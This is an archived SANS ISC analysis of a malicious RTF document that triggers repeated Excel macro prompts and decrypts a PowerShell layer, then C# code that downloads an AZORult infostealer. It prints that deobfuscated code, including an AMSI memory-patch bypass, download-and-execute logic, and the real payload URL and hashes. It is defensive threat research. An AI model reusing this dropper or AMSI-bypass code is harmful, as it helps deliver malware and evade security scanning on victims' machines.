{
	"id": "1d7af589-f211-4c9e-a105-28061616a877",
	"created_at": "2026-04-06T01:32:34.090586Z",
	"updated_at": "2026-04-10T03:20:21.71266Z",
	"deleted_at": null,
	"sha1_hash": "b3ebdcb9c5f997b4bbce18852c1e7c8b7a51bb6a",
	"title": "Analysis of a triple-encrypted AZORult downloader - SANS ISC",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 565308,
	"plain_text": "Analysis of a triple-encrypted AZORult downloader - SANS ISC\r\nBy SANS Internet Storm Center\r\nArchived: 2026-04-06 01:07:03 UTC\r\nI recently came across an interesting malicious document. Distributed as an attachment of a run-of-the-mill\r\nmalspam message, the file with a DOC extension didn’t look like anything special at first glance. However,\r\nalthough it does use macros as one might expect, in the end, it turned out not to be the usual simple maldoc as the\r\nfollowing chart indicates.\r\nThe message to which the file was attached was fairly uninteresting as it used one of the standard\r\nmalspam/phishing types of text (basically it was a “request for quotation”, as you may see in the following\r\npicture) and there was no attempt made to mask or forge the sender in the SMTP headers.\r\nhttps://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nPage 1 of 9\n\nAfter an initial analysis, it became obvious that the DOC extension was not genuine and that the file was really a\r\nRich Text File (RTF). When opening such a file, one usually doesn’t expect Excel to start up and ask user to\r\nenable macros. However, as you may have guessed, this was exactly what opening of this RTF resulted in. In fact,\r\nafter it’s opening, not one, but four requests from Excel to enable macros were displayed one after the other.\r\nhttps://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nPage 2 of 9\n\nOnly after these dialogs were dealt with did Word finish loading the seemingly nearly empty RTF and displayed it.\r\nThe behavior mentioned above was the result of four identical Excel spreadsheets embedded as OLE objects in the\r\nRTF body…\r\nhttps://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nPage 3 of 9\n\n…with the “\\objupdate” mechanism[1] used to open each of them in turn when the RTF was loaded.\r\nhttps://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nPage 4 of 9\n\nThis technique of repeatedly opening the “enable macros” dialog using multiple OLE objects in a RTF file is not\r\nnew in malicious code[2]. Although it isn’t too widely used, displaying of seemingly unending pop-ups would\r\nprobably be one of the more effective ways to get users to allow macros to run, since they might feel that it would\r\nbe the only way to stop additional prompts from displaying.\r\nAfter dumping out one of the spreadsheets using rtfobj[3], the XLS itself could be analyzed using oledump[5].\r\nThe only macro present in the XLS file had a very simple structure. It was only supposed to decrypt and decode a\r\npayload and executed it using the VBA “shell” command. One small point of interest was that the payload, which\r\nhttps://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nPage 5 of 9\n\nit was supposed to decrypt, was not contained in the macro itself but rather in one of the cells (136, 8) of the\r\nspreadsheet. The encryption algorithm used in the macro was quite an elementary one as you may see from the\r\nfollowing code. For completeness sake, it should be mentioned that second cell referenced in the code (135, 8)\r\nonly contained the string “\u0026H” used to mark values as hexadecimal in VBA.\r\nPublic belive As String\r\n \r\nSub Workbook_Open()\r\nhaggardly\r\nEnd Sub\r\n \r\nPrivate Sub haggardly()\r\nDim psychoanalytic As Long: Dim unwelcomed As String: psychoanalytic = 1\r\nGoTo target\r\n \r\nnarcomania:\r\nunwelcomed = unwelcomed \u0026 Chr(CInt(Sheets(\"EnZWr\").Cells(135, 8).Value \u0026 Mid(belive, psychoana\r\npsychoanalytic = psychoanalytic + 2\r\nGoTo target\r\ntarget:\r\nbelive = Sheets(\"EnZWr\").Cells(136, 8).Value\r\nIf psychoanalytic \u003c= Len(belive) Then\r\nGoTo narcomania\r\nElse\r\nShell unwelcomed\r\nExit Sub\r\nEnd If\r\nEnd Sub\r\nThe code, which was supposed to be decrypted and executed by the macro, turned out not to be the final payload\r\nof the maldoc, but rather an additional decryption envelope – this time a PowerShell one. The encryption\r\nalgorithm used in it was not very complex either. However, since it was almost certainly intended as an\r\nobfuscation mechanism rather than anything else, cryptographic strength would be irrelevant to its purpose.\r\npowershell -WindowStyle Hidden\r\nfunction rc1ed29\r\n{\r\nparam($o6fb33)$jdc39='k7ce46';\r\n$t2e762='';\r\nfor ($i=0; $i -lt $o6fb33.length; $i+=2)\r\n{\r\n$c48e2=[convert]::ToByte($o6fb33.Substring($i,2),16);\r\n$t2e762+=[char]($c48e2 -bxor $jdc39[($i/2)%$jdc39.length]);\r\nhttps://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nPage 6 of 9\n\n}\r\nreturn $t2e762;\r\n}\r\n$xe549 = '1e440a0b...data omitted...075e494b';\r\n$xe5492 = rc1ed29($xe549);\r\nAdd-Type -TypeDefinition $xe5492;\r\n[bb7f287]::b9ca7ba();\r\nResult of the previous code, or rather its decryption portion, was the final payload – a considerably obfuscated C#\r\ncode. After deobfuscation, its main purpose become clear. It was supposed to download a file from a remote\r\nserver, save it as c2ef3.exe in the AppData folder and execute it.\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\nusing System.Diagnostics;\r\nusing System.IO;\r\nusing System.Net;\r\npublic class bb7f287\r\n{\r\n[DllImport(\"kernel32\",EntryPoint=\"GetProcAddress\")] public static extern IntPtr GetProcAddress(IntPtr k\r\n[DllImport(\"kernel32\", EntryPoint = \"LoadLibrary\")] public static extern IntPtr LoadLibrary(string mf43\r\n[DllImport(\"kernel32\", EntryPoint=\"VirtualProtect\")] public static extern bool VirtualProtect(IntPtr od\r\n[DllImport(\"Kernel32.dll\", EntryPoint=\"RtlMoveMemory\", SetLastError=false)] static extern void RtlMoveM\r\npublic static int b9ca7ba()\r\n{\r\nIntPtr amsi_library = LoadLibrary(amsi.dll);\r\nif(amsi_library==IntPtr.Zero)\r\n{\r\ngoto download;\r\n}\r\nIntPtr amsiScanBuffer=GetProcAddress(amsi_library,AmsiScanBuffer));\r\nif(amsiScanBuffer==IntPtr.Zero)\r\n{\r\ngoto download;\r\n}\r\nUIntPtr pointerLen=(UIntPtr)5;\r\nuint y372d=0;\r\nhttps://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nPage 7 of 9\n\nif(!VirtualProtect(amsiScanBuffer,pointerLen,0x40,out y372d))\r\n{\r\ngoto download;\r\n}\r\nByte[] byte_array={0x31,0xff,0x90};\r\nIntPtr allocatedMemory=Marshal.AllocHGlobal(3);\r\nMarshal.Copy(byte_array,0,allocatedMemory,3);\r\nRtlMoveMemory(new IntPtr(amsiScanBuffer.ToInt64()+0x001b),allocatedMemory,3);\r\ndownload:\r\nWebClient gaa7c=new WebClient();\r\nstring savePath=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)+\"\\\\c2ef3\"\r\ngaa7c.DownloadFile(DecryptInput(\"034317150e19440653511a045f034d520d185a05504a7545447a374806065\r\nProcessStartInfo finalPayload=new ProcessStartInfo(savePath);\r\nProcess.Start(finalPayload);\r\nreturn 0;\r\n}\r\npublic static string DecryptInput(string input)\r\n{\r\nstring key=\"k7ce46\";\r\nstring output=String.Empty;\r\nfor(int i=0; i\u003cinput.Length; i+=2)\r\n{\r\nbyte inputData=Convert.ToByte(input.Substring(i,2),16);\r\noutput+=(char)(inputData ^ key[(i/2) % key.Length]);\r\n}\r\nreturn output;\r\n}\r\n}\r\nAs you may have noticed, the link to the remote file was protected with a third layer of encryption using the same\r\nalgorithm we have seen in the PowerShell envelope. After decryption, it came down to the following URL.\r\nhttp://104.244.79.123/As/MT-209111.jpg\r\nAt the time of analysis, the file was no longer available at that URL, however information from URLhaus[5] and\r\nAny.Run[6] points firmly to it being a version of AZORult infostealer.\r\nOne interesting point related to the final payload of the downloader which should be mentioned is, that besides\r\ndownloading the malicious executable, the code also tries to bypass the Microsoft Anti-Malware Scanning\r\nInterface (AMSI) using a well-known memory patching technique[7]. And that, given similarities of the code, it\r\nwould seem that authors of the downloader re-used a code sample available online[8] for the bypass, instead of\r\nwriting their own code.\r\nhttps://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nPage 8 of 9\n\nIn any case, with the use of Word, Excel, PowerShell and three layers of home-grown encryption, this downloader\r\nreally turned out to be much more interesting than a usual malspam attachment.\r\nIndicators of Compromise (IoCs)\r\nMT-209111.DOC (403 kB)\r\nMD5 - 2c93fb1a782b37146be53bd7c7a829da\r\nSHA1 - 085518dabedac3abdb312fdd0049b7b5f9af037a\r\nEmbedded XLS spreadsheet (46 kB)\r\nMD5 - ae79867244d9a3aae92a57da8cbb2655\r\nSHA1 - 67ca2a50cc91ccd53f80bb6e29a9eae3c6128855\r\nMT-209111.jpg / c2ef3.exe (837 kB)\r\nMD5 - 2d9dc807216a038b33fd427df53100b6\r\nSHA1 - 6a8e6246f70692d86a5ec5b37e293932a20ee0f3\r\nDownload URL\r\nhttp://104.244.79.123/As/MT-209111.jpg\r\n[1] https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/\r\n[2] https://www.zscaler.com/blogs/research/malicious-rtf-document-leading-netwiredrc-and-quasar-rat\r\n[3] https://github.com/decalage2/oletools/wiki/rtfobj\r\n[4] https://blog.didierstevens.com/programs/oledump-py/\r\n[5] https://urlhaus.abuse.ch/url/286973/\r\n[6] https://app.any.run/tasks/e823495e-eb8e-436d-b8e1-0193648e6036/\r\n[7] https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/\r\n[8] https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html\r\n-----------\r\nJan Kopriva\r\n@jk0pr\r\nAlef Nula\r\nSource: https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nhttps://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/\r\nPage 9 of 9\n\n https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/      \nOnly after these dialogs were dealt with did Word finish loading the seemingly nearly empty RTF and displayed it.\nThe behavior mentioned above was the result of four identical Excel spreadsheets embedded as OLE objects in the\nRTF body…       \n   Page 3 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/"
	],
	"report_names": [
		"25768"
	],
	"threat_actors": [],
	"ts_created_at": 1775439154,
	"ts_updated_at": 1775791221,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b3ebdcb9c5f997b4bbce18852c1e7c8b7a51bb6a.pdf",
		"text": "https://archive.orkl.eu/b3ebdcb9c5f997b4bbce18852c1e7c8b7a51bb6a.txt",
		"img": "https://archive.orkl.eu/b3ebdcb9c5f997b4bbce18852c1e7c8b7a51bb6a.jpg"
	}
}